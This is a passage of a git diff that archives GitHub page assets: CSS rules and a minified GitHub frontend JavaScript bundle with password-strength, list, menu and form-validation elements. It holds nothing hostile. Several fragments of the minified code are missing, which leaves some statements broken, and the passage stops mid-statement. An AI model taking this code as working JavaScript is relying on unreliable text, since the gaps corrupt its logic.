.team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const 